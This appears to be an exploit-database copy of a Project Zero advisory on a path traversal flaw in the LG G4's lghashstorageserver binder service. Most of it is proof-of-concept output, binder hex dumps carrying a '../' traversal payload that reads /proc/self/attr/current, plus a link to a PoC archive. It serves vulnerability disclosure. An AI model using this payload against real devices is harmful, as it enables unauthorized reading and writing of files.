LG G4 - lghashstorageserver Directory Traversal

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=987

The lghashstorageserver binder service (/system/bin/lghashstorageserver) 
implementation on the LG G4 is vulnerable to path traversal, allowing an
app to read and write 0x20 bytes from any file in the context of the
lghashstorageserver.

See attached for a PoC which reads from /proc/self/attr/current for the 
lghashstorageserver.

[0] opening /dev/binder
[0] looking up service lghashstorage
0000: 00 . 01 . 00 . 00 . 1a . 00 . 00 . 00 . 61 a 00 . 6e n 00 . 64 d 00 . 72 r 00 .
0016: 6f o 00 . 69 i 00 . 64 d 00 . 2e . 00 . 6f o 00 . 73 s 00 . 2e . 00 . 49 I 00 .
0032: 53 S 00 . 65 e 00 . 72 r 00 . 76 v 00 . 69 i 00 . 63 c 00 . 65 e 00 . 4d M 00 .
0048: 61 a 00 . 6e n 00 . 61 a 00 . 67 g 00 . 65 e 00 . 72 r 00 . 00 . 00 . 00 . 00 .
0064: 0d . 00 . 00 . 00 . 6c l 00 . 67 g 00 . 68 h 00 . 61 a 00 . 73 s 00 . 68 h 00 .
0080: 73 s 00 . 74 t 00 . 6f o 00 . 72 r 00 . 61 a 00 . 67 g 00 . 65 e 00 . 00 . 00 .
BR_NOOP:
BR_TRANSACTION_COMPLETE:
BR_NOOP:
BR_REPLY:
  target 0000000000000000  cookie 0000000000000000  code 00000000  flags 00000000
  pid        0  uid     1000  data 24  offs 8
0000: 85 . 2a * 68 h 73 s 7f . 01 . 00 . 00 . 01 . 00 . 00 . 00 . 55 U 00 . 00 . 00 .
0016: 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 .
  - type 73682a85  flags 0000017f  ptr 0000005500000001  cookie 0000000000000000
[0] got handle 00000001
[0] reading hash
0000: 00 . 01 . 00 . 00 . 1b . 00 . 00 . 00 . 63 c 00 . 6f o 00 . 6d m 00 . 2e . 00 .
0016: 6c l 00 . 67 g 00 . 65 e 00 . 2e . 00 . 49 I 00 . 48 H 00 . 61 a 00 . 73 s 00 .
0032: 68 h 00 . 53 S 00 . 74 t 00 . 6f o 00 . 72 r 00 . 61 a 00 . 67 g 00 . 65 e 00 .
0048: 53 S 00 . 65 e 00 . 72 r 00 . 76 v 00 . 69 i 00 . 63 c 00 . 65 e 00 . 00 . 00 .
0064: 2e . 2e . 2f / 2e . 2e . 2f / 2e . 2e . 2f / 2e . 2e . 2f / 2e . 2e . 2f / 2e .
0080: 2e . 2f / 2e . 2e . 2f / 70 p 72 r 6f o 63 c 2f / 73 s 65 e 6c l 66 f 2f / 61 a
0096: 74 t 74 t 72 r 2f / 63 c 75 u 72 r 72 r 65 e 6e n 74 t 00 . 00 . 00 . 00 . 00 .
BR_NOOP:
BR_TRANSACTION_COMPLETE:
BR_NOOP:
BR_REPLY:
  target 0000000000000000  cookie 0000000000000000  code 00000000  flags 00000000
  pid        0  uid     1000  data 36  offs 0
0000: 75 u 3a : 72 r 3a : 6c l 67 g 68 h 61 a 73 s 68 h 73 s 74 t 6f o 72 r 61 a 67 g
0016: 65 e 73 s 65 e 72 r 76 v 65 e 72 r 3a : 73 s 30 0 00 . 00 . 00 . 00 . 00 . 00 .
0032: 00 . 00 . 00 . 00 .
u:r:lghashstorageserver:s0


Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/41352.zip